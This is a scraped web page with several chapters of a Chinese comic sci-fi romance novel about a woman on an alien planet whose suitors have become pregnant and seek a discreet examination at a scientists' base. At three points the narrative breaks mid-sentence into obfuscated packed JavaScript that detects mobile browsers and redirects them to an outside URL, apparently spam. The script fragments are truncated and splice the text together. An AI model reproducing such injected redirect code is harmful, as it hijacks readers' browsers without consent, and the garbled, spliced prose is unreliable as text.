简单用完早饭，两人赶在上班前去挑束腹带。这种东西有不少节食减肥群体买来抑制食欲。寻常便利店也会有。 多比多星没什么明星的概念。因为人口基数少，基本每个人都有机会上电视，比如结婚可以选择电视直播，生小孩也可以选择上电视庆祝。影视剧演员只是一项再普通不过的职业，正常出门完全不要过多“武装”。 这也是林耀然登陆多比多后星觉得神奇的一点。 游朝简单穿搭就出门，林耀然却还是好好戴了口罩帽子和墨镜，再穿一身宽松穿搭。这跟职业无关，也犯不着担心远在天边的剧组有人传闲话，单纯是他实在不适应以现在这副身材走在街上。 他不知道陆其峰和白乔之前怎么坐的车，反正以他现在的状态，已经很难适应汽车启停的惯性。他和游朝尝试几遍之后，还是徒步找了家这个点开放的便利店。 游朝叫林耀然坐到店内的塑料椅上休息，自己去仓库试束腹带。 女店员帮游朝量完尺寸，推荐了五六款。 游朝拿了肉色透气的一款，问店员要大一点的尺寸。 店员有些惊讶，反复打量游朝的腰身，“您完全不需要调整尺寸。” “大尺寸留着以后用。”游朝大大方方地说，“我打算结婚了，婚后想要个宝宝，产后恢复需要这个。” “唔……”店员若有所思，“那您怀上再来买就行。这边的质保只有五年，不一定赶得上。” “不会的。我应该很快就能怀上。”游朝屈着胳膊，手到肩头，隐秘地伸出拇指，指了指身后的林耀然，“他是地球男人，才来这边没多久。” 店员露出了解的表情，“确实……看着就很能生，绝对是个好男人。” “是吧！”游朝向店员表示肯定，拎着束腹带回来找林耀然，小声：“你要不现在找地方先换上，一会到剧组没空换。” 林耀然接过东西，瞧见游朝身后的店员对着他笑，总觉得哪里不对，问游朝：“你们刚刚没说什么吧？” “没有啊，就说你是个好男人。”游朝没觉得有什么不对，实事求是地说。 林耀然不放心地多看了店员一眼，还是哪里怪怪的。 “提前祝你们新婚快乐！”店员朝他们挥挥手，目送二人出了便利店。 林耀然到游朝车上戴好了束腹带。 因为是按他现在腰围买的，搭扣系到最紧刚好能把肚子箍回原来的形状。但林耀然偷偷松了两扣，没和游朝说。这样对宝宝会好一点。 游朝以最低的加速度发动汽车，飞到剧组附近，稳稳落地。 剧集拍摄接近尾声，任务量也逐渐加大。好在后面男主怀孕的戏份居多，没有太多可能引起胎动的亲密戏。有假肚子的遮挡，真肚子也没那么引人注目了。 林耀然在剧组能坐就坐一会，别人问就说是适应角色。其实背台词的时候不多，多数时候都在看游朝。 接下来几天的戏，游朝忙于和剧里男配们互动，其中也包括严初。 游朝和严初是发小，本身就比和他熟一些。两人对戏自然，经常被导演夸。该有的亲密戏，游朝也照常拍。 林耀然以前没有看人拍吻戏的习惯，但现在莫名其妙喜欢盯着摄像头，关心她吻的力度，关心自己胎动的情况，再和记忆里她吻自己的时候做个对比。 就这样浑浑噩噩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166967|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周过去，林耀然意识到他和游朝已经有一周内私下见面了。 又一天拍摄结束，游朝准备开车回家时，林耀然按捺不住地悄悄跟来。 游朝正在车内打视频，软质的电子屏幕贴在挡风玻璃上。 屏幕里是一位戴眼镜小眼睛的俊美男人，和一位混血长相的卷发女人。游朝的长相随妈妈，偏英气。 卷发的游珍女士正像林耀然熟悉的地球妈妈们一样关心游朝：“对象的事儿有眉目了吗？” “差不多吧，目前有三个备选，还没有定。”游朝面带笑意，抬头时用手撩了下头发，虽然不知道怎么解释这些天的离谱事，但至少这个结论是对的。 在多比多星，好几个男人同时追求一个女人是很常见的事情。 游珍见怪不怪，“朝朝，妈妈相信你的眼光，挑好了就抓紧结婚生个小孩。男人过了三十就很难生了，越往后的男人越不行。” “没孩子也行啊。”爸爸陈辉的脑袋再度艰难挤进镜头，“拿不到生育补贴，爸爸养你一辈子啊，别有负担！” “说的闺女自己不会挣钱一样。人闺女自己喜欢小孩，当然得要个孩子了！”游珍又推了陈辉一巴掌。 “我不是怕女婿吃不消吗？平常打打闹闹和认真要孩子，那是一个强度吗？”陈辉被推搡得都有些头晕了，毕竟领航员的身手不是说着玩。 林耀然很想解释一番，他好歹是个刚从地球过来的男人，单论这一点还是有保障的。无奈此刻不好插嘴。 “好了妈，孩子的事，我自己会考虑的。”游朝看到林耀然，怕吓到他，赶紧打断了夫妻俩的争吵，视频一歪，让林耀然的脑袋先入镜，“介绍一下哈，林耀然，我同事。也是你们的准女婿之一。” “叔叔阿姨好！”林耀然只露头，避开肚子，表情有些拘谨。 “喔！你好你好！”游珍和陈辉吓了一跳，匆匆统一战线，友好地认识才见面的年轻人。 陈辉赶紧找补：“不好意思啊小林，叔叔阿姨不知道你在旁边，刚才开玩笑的啊，你别当真！” “没事。”林耀然想了想，还是先不与长辈争辩，等孩子生下来让他们眼见为实比较好。 “另外两个也在吗？”游珍又问女儿。 游朝：“今天没一起。回头再和你们见面。” 陈辉朝她竖拇指，“这样就对了，一次约会只约一个人，别搞得大家不愉快。” “知道了爸！”游朝跟他们最后飞吻，“我们要开车啦，回聊！” “回聊宝贝！” 视频切断，林耀然待着没走。 “你不回家吗？”游朝问他。 林耀然有点不知道怎么开口，他沉默着先上车，系安全带的时候，手在肚子上停顿了一下，“宝宝想你了。” “哦。”游朝还有点反应不过来这个新身份的转变，“那先回我家？我好好摸摸她。” “嗯。”林耀然扭过头，看着窗外，满足地笑。 汽车缓缓爬升，飞天后，窗外风景比在地面好许多。 运气好时能看到晚霞，一般时也有白云缭绕。这里的大气还没有像地球那样遭遇大规模破坏，仍然保留着不少宇宙纯天然美景。 林耀然回味着刚刚视频里的对话，才想起问游朝：“你喜欢小孩啊？” 游朝：“是啊。” “那你是喜欢女儿，还是儿子？”林耀然望着天边蓝绿色的晚霞继续问。 “都喜欢。”游朝看他，“你呢？” “以前我也是。但现在更喜欢女儿。”林耀然低下头，看着自己的肚子，还是有点不好意思。 “是因为你怀的可能是女儿吗？”游朝很实际地联想道。 林耀然嘴边的话卡壳了，迟钝地将两只手都放到肚子上，“可能是吧。” 隔着束腹带的约束，肚皮下热闹依旧，腰腹紧绷，仿佛在腰上装了个育儿袋。目前看束腹带对小家伙的约束不大，反而增加了不少安全感。 停车到家，游朝先让炒菜机器人做好了饭。两个人吃完饭，林耀然躺到床上，让游朝自然地靠过来听胎动。 孩子动得很欢，像条小泥鳅钻来钻去。 “它最近都动得这么吓人吗？”游朝问。 “没我们接吻的时候吓人。”林耀然得意于游朝亲自己时，比亲剧组其他人时更开心。甚至还想让这个记录多保持一段。 “那真的不能再接吻了。”游朝听着害怕。 “没关系。”林耀然说着亲了她一口。 游朝显而易见地感受到胎动变得剧烈，“这也太淘气了吧！” “是个爱妈妈的小淘气。”林耀然用一层薄被盖住肚子，让游朝的头重新枕在被子上，会更舒服一点。 “妈妈也爱你，宝贝。像你姥姥爱妈妈一样地爱你。不，妈妈要超过你姥姥，更爱你一点。”游朝对着肚皮说完，亲了一口。 林耀然的手摸到游朝头发搭盖的腹侧，又一次感受着肚子里蓬勃喷张的生命力。 “游朝。”他的手指顺到游朝额前碎发。它们蓬乱无章，但有一股自由自在的力量。林耀然看得入迷。 “嗯？”游朝侧了侧头，脸还贴在他肚子上。 “这些天我好好想了一下。”他将游朝一侧头发别到耳后，还有点不好意思，“其实我还挺庆幸能怀这个孩子的，至少能防止你忘了我……” “说什么呢？你是孩子的爸爸啊。就算咱们不结婚，我也不会忘了你的。”游朝说。 “嗯。”林耀然随意地应着，实际内心的担忧并没好转。 未来生活的变数还有很多，毕竟谁也不知道男人生孩子到底是什么样。 8. 8 几天后，游朝带着四个男人前往科学家基地。其他几人时间相对自由，只有白乔请了病假，时间最长半个月。 出发前，严初给另外三个男人一人准备了一张基地地图，外加求救信号笔，方便他们迷路的时候联系上他和游朝。 基地早年是先锋科学家登陆使用的空间站，后来随着星球环境的改善，空间站改成了住宅区。完全密闭的空间内有花有草，还有小动物。不过那些变异动植物不一定对人类友好。这些严初都写在地图上。 由于基地面积有限，目前还只允许先锋科学家后裔和他们的家人进入。后来随着人口锐减，为了鼓励生育，条件才放宽至未婚的恋人们。 一行人先开车到基地登陆中心。 挡在关口的是一张大得像栋楼的电脑软屏。屏幕前，所有今天准备登陆的多比多星居民依次排好队。 游朝走在几个男人最前面，电脑上方摄像头最先识别到她。 “姓名。”电脑发出机械音，这是例行核对的部分。 “游朝。” “申请登陆人数。” “包括我，一共五人。”游朝说。 摄像头往下移动了一个角度，电脑上打出表示沉思的省略号。 “嗨，是我，严初。”严初从游朝肩膀上探出脑袋，“好久没回来，你不认得我了？” “严初通过。”电脑迟钝地反应着。 这类好几个世纪前的电脑需要一点思考时间。 “剩下的人和你是什么关系？”电脑又问。 “恋人……或者以前的恋人。”游朝说。 “有过性生活吗？”电脑继续思考，“没有性生活不算。” “你问的什么问题，法律上这属于侵犯隐私，知不知道？”陆其峰跟到游朝身后。 “非常抱歉。”电脑礼貌地说，“无法帮助先锋科学家后裔繁衍的人类，目前还不能进入基地。” “我们有性生活。”游朝对着摄像头面不改色心不跳地说。 陆其峰看了她一眼，对侧的耳根红了一半，低头清了清嗓子。 屏幕变得透明，游朝率先通过。严初第二。第三的陆其峰偏头看看另两人，一副老大的口吻：“你们也快点跟上来。” 白乔“哦”了一声，老老实实跟。林耀然却有恃无恐地走在最后，一点不吃陆其峰的指使。 通过登陆中心后，有专门的飞船送五人去基地。 开飞船的大姨以前和游朝妈妈在一个单位，现在已经退休，接点滴滴飞船的活儿丰富晚年生活。但毕竟是开星际战舰出身，大姨一手拉杆下去，飞船开得像二踢脚。 林耀然刚上来没多久就觉得想吐，赶紧用手捂住嘴。 游朝瞥了他一眼，伸手接过大姨手上的拉杆，熟练地将速度调低了一个档，“麻烦到最近的空间轨道口停一下吧。我们坐空轨上基地。” 大姨有点诧异，“空轨很慢的，还不如坐这个。多花不了几个钱。” “没关系的。他们第一次来，就当观光了。”游朝还是提前结了账。 几人中途下车，换乘空间轨道。空轨是和地面连通的密闭管道，内置导轨，可以跑车，速度比飞船慢，也更平稳。且空轨位置会随着星球自转移动，人在轨道里看外面的世界是相对平行的状态。从太空到基地外周，所有景色一览无余，如果基地能开放旅游的话，空轨无疑是首选。 游朝办完行李托运，开了间六座包厢，形制类似地球上的缆车。 包厢的玻璃罩子外，景色由一望无际的星空，慢慢过渡到明亮的基地入口。 基地使用人造光源，全方位模拟地球上的日升月落。目前是中午11点，园区内太阳高照。 空轨升到地面以上，严初站在最前，双臂伸开，炫耀似的露出一身花衬衫和短裤，“终于到家喽！” 空轨边上飞来几只长了翅膀的猴子，茫然地看着严初这张有些陌生的面孔。猴子们在空中互相通了个气，一起朝严初做出凶狠的鬼脸。严初朝它们回了个差不多的表情。 这些飞猴子的肺十分特殊，可以吸收二氧化碳，呼出氧气，因此被人类联盟特许留在基地中，节省制氧成本。 “你们有多久没回来了？”林耀然坐在游朝旁边，看她出神地望着窗外。 “七年，还是八年？” 游朝自己也有点记不清。多比多星没有四季，如果没有钟表和日历的报时，很容易过得没年没月的。 基地的景象和她记忆里差别很大。除了那群变异的猴子比之前看起来更不好惹之外，空轨两旁的植物，似乎也跟之前不一样了。 以前种的水培绿植，现在有了新型泥土，可以长更高大的树。最近的一棵树上长着五颜六色的蘑菇，蘑菇旁是一只正在采蘑菇的黑蚂蚁，硕大如狗，腰上拴绳，绳子的另一端握在一个和它差不多大的小矮人手里。 看起来是它的主人正在溜它。 那小矮人注意到游朝在往这边看，抓紧机会，举起喇叭：“毒蘑菇，毒蘑菇，新鲜采摘，不好吃不要钱！” 原来是在卖蘑菇。游朝觉得合理许多。 以前水培的毒蘑菇她经常吃，不仅味道好还能治失眠。吃完能睡两三天，起来跟换了个人一样神清气爽。 但看身边坐着的三个男人，脸色一个比一个难看。 游朝有点尴尬地解释，“这一片农场居多，所以才有这么多奇怪的动植物，往前到了市区就好很多了。” 三个男人谁也没说话，各自谨慎地系好了安全带。 空轨越过了一座高山，透明的脚踏板下，是幽深不见底的峡谷深渊。 翻过这座山，耳畔一下子吵闹起来，这就算进了市区。这边没有高楼，只有一家一栋成片聚集的别墅。 一片别墅区的中央广场上，西装革履的男人正指挥着一群机器人翩翩起舞，他们长得五大三粗，头上扎着三根又粗又长的辫子，像狐狸尾巴一样，两两一组，扭到一起。 “这是在干嘛？”林耀然有点好奇。 “人类联盟组织的相亲会啊，七天一次。”严初瞥了林耀然一眼，“怎么着，怀着姐姐的孩子，还想去相亲会啊？” 林耀然闷了一口气，放在以往肯定要回怼回去，但紧绷的肚子告诉他，他现在不适合跟严初计较。 “哎你们看！上人了，上人了。”严初自己不参加这种活动，但很乐意看八卦。 听到是相亲会这种无害的东西，陆其峰和白乔也睁开眼。 扭屁股的机器人两两牵手退到外围，一起围成一个圈，圆圈中央陆续有人类被地下管道的推力弹射出来，就像地鼠一样，其中有女人，有男人，有黑人，有黄种人，也有白人。大家穿着凉爽的衣服和拖鞋跟着机器人扭动起来。 主持人继续控场：“下面让我们进入今天活动的第二个环节，舞动啵啵。请尽情亲吻你看对眼的人，不要吝啬你的嘴唇。男人们不要害羞，女人们尽情释放，让我们的现场燃烧起来。” 四周的火墙被人造光源点燃，熊熊烈火很快包围了广场。广场的光源被中心系统调暗下来，仿佛一下来到了午夜。 火光的照耀下，大家激情地接起吻。亲完你的亲你的，亲完他的亲她的。 亲吻时间超过一分钟的两个人会自动触发地下装置回弹，一起被吸入地下隐秘的“胶囊房”里，进行一对一深入交流。 活动持续了五分钟，已经有好几对配对成功的情侣被深埋地下。严初看这种相亲活动喜欢计数，今天相亲会速成的情侣一共54对，算是个平均水准。 他转头想分享这件事，但先看见其他几个男人煞白的脸色，干脆耸了耸肩，转而坐到游朝另侧的空座位上，趁林耀然没回过神的工夫，小声问游朝：“咱们到基地怎么住啊？要不给他仨分开找地方住吧，连相亲会都接受不了，跟咱俩住一块不得天天打起来？” “我好像也没说要跟你一起住。”游朝冷冷说。 严初不占理，抱着胳膊，恹恹回过头。 空轨到达“米奇岛别墅区”，游朝带领大家下车。这里不是她家，算是她一位朋友的家。 之所以不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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游朝浅浅嘬了一口，味道不错，确实是家乡的池塘味。 “你最近过得怎么样？”游朝抱着牛蛙汁问她。 朱米诺自己拉了把大个椅子，就坐在椅子上，讷讷地说：“就还那样吧。” 她是个对生活没大追求的人，就喜欢平淡安稳的日子。当年和她一届的学生里，还有不少基因测序结果不好的同学。他们这些人留在基地，不但拿不到补贴，也很难找到工作。 但凡有点追求的，都跟游朝似的逃离科学家基地，去星球上发展了。虽然从此要和星球人一样靠努力讨生活，但日子过得不错的大有人在。 朱米诺不一样。她的身高是硬伤，很难像游朝这样隐藏在普通人里。她自己也不想折腾，就搬到基地偏远老旧的别墅区来住。 起初的几年，她也不知道该做什么谋生。但十八岁那年，命运的齿轮转动了。她意外发现自己获得了一项新技能，在关灯状态下，视线可以透过一个人的皮肉，看到五脏六腑的运行状态。 于是她开了个诊所，专门给人做无放射性体检。由于每次检查都是关灯进行，所以患者们从来没见过朱米诺真容。单从她这个正常得不能再正常的小屋来看，也没人会想到她是个长腿怪物。 就这样诊所收获了一批稳定客户，朱米诺的心态也好转许多。她给游朝写过纸质信件，讲过这件事，信里还邀请她来体检。不过朱米诺从没想过游朝真的会来。 “你是来体检的吗？”朱米诺问她。 “其实不是我，是我的男人……额……还没定下来的未婚夫们。”游朝不知道该摆出高兴还是悲哀的表情，姑且先这样称呼他们，“我要结婚了，米诺。可能不止是结婚，还要当妈妈了。” “哇！真的吗？”朱米诺的眼睛亮了一下，看向游朝的肚子，“所以你是来做产检的啊！” “不是我。”游朝第一次把这种荒唐事说出来，自己都觉得有点离谱，“是我的未婚夫们不知道怎么回事都怀上了。” 9. 9 朱米诺家的门铃又响了。这回没等她反应过来，严初和三个大肚子的男人已经站在她家门口。 “我要开门吗？”朱米诺有些犹豫地看着游朝，“我这个奇怪的样子不会吓到他们吧？” “放心吧，不会的。”游朝站到她身边。 朱米诺就算再奇怪也不会有大肚子男人更奇怪的。 朱米诺小心地推开门，几人面面相觑了一会。果然几个男人都没什么怪异的表情，简单问好后依次进了屋。 经过一路上的景色洗脑，大家已经默认在基地看到什么都不稀奇。 “我可能要先给各位检查一下。需要脱一下你们身上的束腹带，还有防探测的护腰。闭上双眼，呼吸放缓，不要说话，不然器官会移动位置。”朱米诺简单介绍完检查事项，关上了灯。 客厅内黑下来，仅有一盏电子蜡烛，被朱米诺拿在手上。周围除了扑通扑通的心跳声，什么声音也没有。 严初站在游朝旁边，两分钟后，实在耐不住地问：“什么情况啊米诺。” 黑暗里传来朱米诺一声叹气，“有点不知道怎么说。” “是好，还是不好啊？”游朝问，“没事的你放心说，只要孩子是人类，我都能接受。” “要求都这么低了吗？”严初瞥了她一眼。 游朝深呼吸，想了想，又补充：“胳膊腿齐全的人类吧。所以是吗？” “胳膊和腿都是在的。” 游朝松了一大口气。 “就是没看到脑袋。”朱米诺小声地说。 “你说谁的孩子没脑袋？”林耀然紧张地睁开眼。另外两个男人也慢慢睁眼。 陆其峰无所谓地说：“反正不会是我的。” 作为一个精英人士，从小到大任何事他都是名列前茅，自己的孩子自然也不会落于人后。陆其峰自信得很。 不过下一秒米诺就有些尴尬地说：“抱歉，每一个都是。” “所以，你的意思是，孩子没有生命体征了吗？”白乔也紧张起来。 “不是不是。”朱米诺坐下，换了个位置重新打量着他们的肚子，“他们正在翻身或者啃手指呢。” “这不太可能啊。”白乔若有所思，“中枢系统的发育不会比四肢晚。” 朱米诺也不是很懂，“感觉是发生了基因突变，发育的顺序颠倒了。大脑应该是发育完毕了，就是还没从外胚层里长到外面。因为我看到了一个孩子头部的位置有生长柄，应该就是宝宝以后头的雏形了。这个孩子看起来会最先出来。” “你说的是我的孩子吧？”陆其峰进一步确认。 “不是。”朱米诺的手指向林耀然，“是这位。而且，光我看的两分钟里，头部的位置就已经生长了一点，肉眼就能看出来。真神奇。” “这不可能。我怀的时间比他久。”陆其峰原本对此很有信心，但借着烛光看向林耀然肚子，大吃一惊，“你肚子里这个怎么长这么快？” “我也不知道。”林耀然对此爱莫能助，十分淡定地笑了一下。 “这不合理。明明都是先锋科学家后裔的孩子。”陆其峰再次想不明白。 “同一个妈的话，只能是爸不行喽。”严初看着陆其峰，居然有点享受看昔日上司破防的爽感。 陆其峰气到说不出话，孩子也跟着翻了个大个的筋斗，一只小手直接打在陆其峰肋骨上。朱米诺看着都吓坏了。 “你们先不要激动。如果你们着急的话，也许可以服用一点生长促进剂。普通药店都有卖。”朱米诺朝下按着两只手，试图让面前一大家人冷静。 “我没听过这种药，是最近几年新研发的吗？胎儿可用吗？”游朝问。 “是孕婴适用的。”朱米诺再次弯腰进了厨房，拿出一粒透明小胶囊，“准确说不是药，是一种人畜共用保健品。去年我家狗子怀孕的时候也吃过，孩子长得又快又好。缩短孕程也是减少孕妇痛苦的一种方式。” “你是在让我吃小狗药吗？”陆其峰抓住了难以接受的重点。 “是人畜共用保健品啊。”朱米诺有些无语地看着这个较真的地球男人，视线不自觉锁定他脑子，好奇是不是有什么脑区损坏了。 “你真的专业吗？比如能帮我预测一下预产期吗？”陆其峰换了个问题，语气像在考察她。 “抱歉我不是医生，只是可以帮你们做检查而已。”朱米诺摇头，“不过按照之前的检查经验看，你的孩子应该是第二个出生的。”说完又看向白乔，“然后才是你。” “所以是等孩子的头长出来，就可以生了，是吗？”林耀然低头看着肚子里的宝宝，紧张之余又有点激动，虽然没有传统的超声影像照片，但好像已经能想象出孩子的样子。 “是的。不过我不确定具体要等多久。”朱米诺谨慎地说完，关上电子蜡烛，打开顶灯。 这是她作为一个医疗检查人员能告知的全部。由于人口稀少，性别也是不允许提前告知的，以防任何人因为任何性别偏好问题堕胎。虽然她真的很想告诉游朝，她即将有两个女儿，一个儿子，在这个时代简直是再幸福不过的一件事。唯一的美中不足，可能就是那个怀儿子的爹，脑子看起来不太好。 “今天太晚了，游朝，你们可以在我家待一夜吗？”朱米诺可怜巴巴地看着游朝。 游朝也很想留下，但总觉得怀孕的男人们住在人家家里很不方便，“要不改天，外面还有太阳，其实也不算晚，我们赶回家刚刚好。” 朱米诺嘟了嘟嘴，到旁边用座机打了一通电话，“喂，中心吗？米奇岛别墅区，二十四号，朱米诺。外面太阳太亮，影响我白天睡觉了。可以关闭太阳吗？” 电话那头传来AI的声音：“好的女士，已为您启动阴天十二小时程序。请问需要下雨吗？” “毛毛雨。谢谢。这样睡起来更舒服。” 电话刚挂断，外面天空就飘来三片整齐列队的小乌云，正好笼罩在朱米诺宅院上空，毛毛雨说下就下。 三个没来过基地的男人都惊呆了。严初却只觉得羡慕，“基地福利真好啊。早知道走之前应该买套房的。有个房产证，连天气都能自己选。” 朱米诺还盯着游朝看，“留下吧游朝，不然我还可以更换龙卷风，你想走都走不了的那种。” “额……好吧。”游朝无奈。 她这该死的人缘，真是没救。 朱米诺让机器人收拾出两间房，让四个男人两两分组睡。林耀然主动选了白乔。严初不想让游朝为难，只能忍痛和老上司挤一挤。 朱米诺拉着游朝到自己的卧室。卧室里摆满了她的手办，有死有活。 死的有肿瘤末期全身转移的人体标本，正在福尔马林桶里欢乐蠕动着的粉嘟嘟的肠子，一颗吐着舌头的小丑鬼脸人头。 这是她的母亲，曾经也是个科学家，听说死于科研院的一次大乱斗。她为了给这个外人眼中显眼又没用的女儿争取一个获得基地保障的机会，不惜和科研院院长们对着干，最后因为违背基地法则而判刑，进监狱不久因精神失常致死，朱米诺去领遗体的时候，妈妈的面部表情就是这样。 朱米诺把它抱回来之后，没有跟着身子一起火化，而是通过机械手段植入内部电极，激活内部神经，让它可以在保留部分记忆的基础上，像普通机器人那样进行简单的对话。 “妈妈，我有朋友来看我啦！”朱米诺很久没这么开心过了，朝小丑脸打了个招呼。 小丑脸上的笑更灿烂了，一本正经地说：“真好，我的宝贝。祝你们玩得开心。不过你要记得把虫子们收一收，不要吓到你的朋友。” 游朝眼朝上看，无意间发现阿姨头上的柜子里，正好是朱米诺养宠物的地方，各式各样的宠物都有。 眼前的盒子里装有胳膊粗的青色绒毛大虫，两条大虫缠在一起，正在交-配。这是星球变异品种，因为体型巨大肉质较柴，人类科学家为了物尽其用，只好通过敲除它的羽化基因让它永远保持幼虫形态，用作观赏。 和多比多星大部分生物的繁育方式一样，雌虫骑在雄虫上面，正蚕食着这只雄虫最后的精力。据说这种交-配方式可以让虚弱的雄性生物□□更持久，更有利雌性怀孕。 朱米诺没有要收起它们的意思，反而跟妈妈解释道：“不会吓到她的妈妈。她是游朝，以前来咱们家见过这些东西的。她一点也不反感。” “真好。妈妈为你高兴。”小丑提着嘴唇，笑容满面，但眼睛亮晶晶的。 “妈妈，我们要开始玩啦，你先睡一会吧。”朱米诺吸了吸鼻子，不舍地给妈妈断了电，先让她大脑休息一会，然后拉过两把凳子，一大一小，分别给自己和游朝坐。 她只有坐下，头才能不碰天花板，也更舒服一点。 “接下来你打算怎么办呢？”朱米诺问游朝，“你的男人们就要生了。” “先让他们把孩子平安生下来。”游朝没有一点犹豫，“这件事不能出人命，然后再谈其他的。” “去哪儿生孩子呢？”朱米诺帮游朝思考着，“他们当中有泛生殖派的人吗？可以联系相关科学家协助吗？” “没有。”游朝用手撑着太阳穴，整个人相对放松地靠在一侧的座椅扶手上，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166969|196761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们都是守旧派。” 朱米诺倒吸了一口凉气。在两派打得水深火热的当下，想劝说这几个守旧派主动找泛生殖派寻求帮助，估计相当困难。 她握住游朝的手，试图分担她的为难。 “其实也不是坏事，米诺。这件事如果曝光，我们一家所有人，都会像小白鼠一样，被科研院追踪一辈子。我们都知道那是什么感觉。”游朝看着朱米诺的眼睛说。 作为先锋科学家后裔，他们从小被进行基因测序，按照突变基因的有用程度进行逐级分层。往后每年，他们都要进行类似的测序，对身体全面评估。优秀者晋级，失败者淘汰。在人类的生存危机面前，科研院认为只有最优秀的人类能带领大家走出去。只有那些最有用的人类才配受到科研院的庇护。 游朝的早年经历算不上多顺利，因为基因组中没有被筛选到有用基因，一直处于被淘汰的行列。说不好哪次被淘汰后，游朝萌生了离开基地的想法。 那时候她还没成年，理论上不允许离开，除非犯了大过被记处分，驱逐出境。 于是游朝想了个办法，故意接近校长儿子，制造“早恋”的假象。这地方男人生殖系统本来就发育不良，早恋会进一步影响发育，真早恋上的话，对一个男孩来说无疑是重大打击。游朝很快就被记处分，一个月内就成功滚蛋了。 登陆星球后，游朝算是如鱼得水，父母老师远在天边，高中和大学几乎都没什么人管她。她想学什么就学点什么，想干什么就干点什么。从高中勤工俭学连换了十几份工作，到大学一口气学了二十五个专业，再到现在因为想结婚当了演员，还让男人们怀了孩子…… 人生真是年年不重样，天天都精彩。 她很喜欢现在的生活，也希望她的孩子们以后能自由自在的。当然目前还只是她一个美好的幻想。 “可是，你们要隐瞒得非常好才行。”朱米诺将她拉回现实，“目前星球还没有男性生子的先例报道过。一旦解析这件事的原理，下次协会竞选，泛生殖派肯定会获得一大波选票。守旧派对这件事也绝对不会坐以待毙。而且，现在谁都说不好，男性生下来的孩子和女性生下来的孩子会不会有差别，星球监测系统这么发达……你真的有把握瞒一辈子吗？” 游朝摇头，“我也没有想瞒一辈子的意思。等我把他们安顿好，就去找个实验室，把我们基因组的序列深度解析一遍。以前是没有阳性对照，所以男性生子领域才这么难突破。现在有对照了，应该很快就能把相关基因鉴定出来。我们自己就能做。” “我帮你吧。听起来只需要一点基础的分子克隆知识。”朱米诺有点感兴趣，“只要给我一个不碰脑袋的实验台就行。” “谢了米诺。有需要我会联系你的。”游朝继续规划着，“等我们找到基因，可以匿名投一篇文章，相关人员姓名都设置成保密。这样既能保障我家人的安全，也能给生殖医学界提供一点研究进展。至于守旧派和泛生殖派到底谁能赢，我不是很关心。” 朱米诺明白地点了点头，“你可真是个好人。都这种时候了还想着给学界做贡献。” 游朝扶额，“主要也是防止我再把哪个男的搞怀了。” 在整件事没有搞清楚以前，她真的完全放心不下。这种不打招呼就把人肚子搞大的行为实在是太不道德了。 “那你明天就去找个医生吧。我觉得你的孩子们可能在肚子里待不了多久了。特别是那个长得最快的小孩。”朱米诺说。 “我太久没回来，对这边不太熟了。你认识什么医生吗？最好是男医生，没太多人知道的那种，也不要太传统的。”游朝担心一般人接受不了男性生子这种事。 “唔……我懂了，需要一个冷门变态男医生。”朱米诺坐到床上，拿起床头柜上的座机，拨电话，“你好，中心吗？” 中心AI：“是的，有什么为您服务的？” “我想要个变态男医生，最好没什么人约过，今天晚饭前就能上门的那种。我很着急。”长期不与人社交的朱米诺，在电话里这样说。 对面沉默了两秒，“哦，是刚刚那个准备白天睡觉的朱米诺女士吧？” “是的，是我。”朱米诺神色急切。 “好……的，让我来为您看一下……睡觉用，男医生……”AI捕捉到关键词，“请问身高187，体重73公斤，年龄23岁，黄种人，皮肤偏白，丰胸翘臀的温柔男医生，预计一小时后派达，您这边能接受吗？” “可以呀，可以呀。” 朱米诺挂断电话，朝游朝露出轻松的笑容，“搞定了，朝朝！” 10. 10 一小时后，朱米诺家门口，淅淅沥沥的小雨里，一个穿宽松休闲装、提医药箱、背双肩包的男人准点出现。 双肩包是迷彩色，鼓鼓囊囊的，时不时动弹一下。 直到一阵剧烈的动弹后，背包口一左一右探出两只小脑袋，随后是两只扒住背包带的小胳膊。 “爸爸。”左边的女孩用小手挠了挠男人左肩，“我们真的要去给这个怪阿姨看病吗？” “你怎么知道是怪阿姨呢？”男人抬手，温柔地刮了刮她的小鼻子，“不知道的事情不要瞎说哦。” “就是怪阿姨啊。”右边的男孩奶声奶气地给姐姐帮腔，“是要爸爸哄睡觉的怪阿姨。爸爸只能哄我们睡，不能哄其他人。” 中心AI在安排类似上门|服务的时候，会转发通话语音。男人外放的时候，孩子们也听到了。 男人“嘘”了一声，“不是你们想的那样。这家阿姨呢，是你们妈妈的朋友。她长期不出门，所以跟人交流有点障碍。她大概率是真的生病了，只是不知道怎么在电话里表达。绝对不是要爸爸哄睡觉的意思。” 两个小朋友似懂非懂地皱起眉，最后是女孩先妥协，拉着男孩钻回了书包里。 “那好吧爸爸，那你快点看病。不然我们要闷死啦。”女孩说。 “好。爸爸尽快。”男人声音温和，“一会你们可不要出来啊。” 书包内嘻嘻哈哈地一阵颠动，这是孩子们答应的意思。 男人会心一笑，上前按下朱米诺家的门铃，“您好，上门医生。” 